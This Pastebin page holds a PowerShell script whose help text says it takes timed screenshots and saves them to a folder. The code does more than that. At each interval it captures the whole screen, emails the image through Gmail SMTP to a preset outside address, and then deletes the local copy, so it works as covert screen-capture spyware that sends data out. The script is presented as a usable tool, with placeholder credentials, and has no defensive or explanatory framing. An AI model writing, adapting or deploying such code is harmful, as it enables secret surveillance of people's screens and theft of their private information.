Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <#
- .DESCRIPTION
- A function that takes screenshots and saves them to a folder.
- .PARAMETER $Path
- Specifies the folder path.
- .PARAMETER $Interval
- Specifies the interval in seconds between taking screenshots.
- .PARAMETER $EndTime
- Specifies when the script should stop running in the format HH-MM
- .EXAMPLE
- PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
- #>
- [CmdletBinding()] Param(
- [Parameter(Mandatory=$True)]
- [ValidateScript({Test-Path -Path $_ })]
- [string] $Path,
- [Parameter(Mandatory=$True)]
- [int32] $Interval,
- [Parameter(Mandatory=$True)]
- [string] $EndTime
- )
- #Define helper function that generates and saves screenshot
- Function GenScreenshot {
- $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
- $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
- $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
- $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
- $DrawingGraphics.Dispose()
- $ScreenshotObject.Save($FilePath)
- $ScreenshotObject.Dispose()
- $ScreenshotObject.Dispose()
- }
- #Define function send email
- Function SendEmail {
- $SMTPServer = "smtp.gmail.com"
- $SMTPPort = "587"
- $Username = "username@gmail.com"
- $Password = "password"
- $to = "to_username@gmail.com"
- #$cc = "user@domain.com"
- $subject = "Subject"
- $body = "$((Get-Date).ToString())"
- $attachment = $FilePath
- $message = New-Object System.Net.Mail.MailMessage
- $message.subject = $subject
- $message.body = $body
- $message.to.add($to)
- #$message.cc.add($cc)
- $message.from = $username
- $message.attachments.add($attachment)
- $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
- $smtp.EnableSSL = $true
- $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
- $smtp.send($message)
- $message.Dispose()
- $smtp.Dispose()
- }
- Try {
- #load required assembly
- Add-Type -Assembly System.Windows.Forms
- Do {
- #get the current time and build the filename from it
- $Time = (Get-Date)
- [string] $FileName = "$($Time.Month)"
- $FileName += '-'
- $FileName += "$($Time.Day)"
- $FileName += '-'
- $FileName += "$($Time.Year)"
- $FileName += '@'
- $FileName += "$($Time.Hour)"
- $FileName += '-'
- $FileName += "$($Time.Minute)"
- $FileName += '-'
- $FileName += "$($Time.Second)"
- $FileName += '.png'
- #use join-path to add path to filename
- [string] $FilePath = (Join-Path $Path $FileName)
- #run screenshot function
- GenScreenshot
- # run send email function
- SendEmail
- # remove screenshot when email has been sent
- Remove-Item –Path $FilePath -Force
- #Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
- Start-Sleep -Seconds $Interval
- }
- #note that this will run once regardless if the specified time as passed
- While ((Get-Date -Format HH:%m) -lt $EndTime)
- }
- Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
Add Comment
Please, Sign In to add comment